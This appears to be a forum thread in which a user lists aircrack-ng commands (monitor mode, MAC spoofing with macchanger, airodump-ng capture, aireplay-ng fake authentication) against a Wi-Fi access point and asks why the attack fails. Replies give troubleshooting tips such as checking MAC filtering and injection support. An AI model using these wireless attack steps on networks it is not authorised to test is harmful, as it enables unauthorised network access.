Steps:
1)airmon-ng stop wlan0
2)ifconfig wlan0 down
3)macchanger --mac 00:11:22:33:44:55 wlan0
4)airmon-ng start wlan0
5)airodump-ng wlan0
6)airodump-ng -c (channel) -w (file name) --bssid (bssid) wlan0
7)aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 -e (name) wlan0

Wen i do the last step it says Attack was unsuccessful, and gives me the list of all the possible reasons, which i dont understand. How do i find out which is the reason and how do i fix it?

Could you give us more details ? Like the exact error message you are receiving ?

well some more information, and some reports your receiving would help us help you. have you tried using anything besides the fake authentication?

[LHYX1]

I think this is the error you are getting when you try to fake associate with the network.

Attack was unsuccessful. Possible reasons:

    * Perhaps MAC address filtering is enabled.
    * Check that the BSSID (-a option) is correct.
    * Try to change the number of packets (-o option).
    * The driver/card doesn't support injection.
    * This attack sometimes fails against some APs.
    * The card is not on the same channel as the AP.
    * You're too far from the AP. Get closer, or lower
     the transmit rate.

1)It is your AP so you can check if mac adress filtering is enabled in the router web interface.
2) check if you entered the bssid correctly
3)make sure your card supports injection
4)make sure you are on the same channel
5)make sure you are close enough to your AP.

The error message explains itself actually.
I hope this helps.

Have you checked every possible reason ?

[ThePistonDoctor]

You should read up on the technologies behind those commands, as this would be cake if you actually understood what they were doing...

[isteed]

in my experience the most common problem is your wireless card does not support injection.
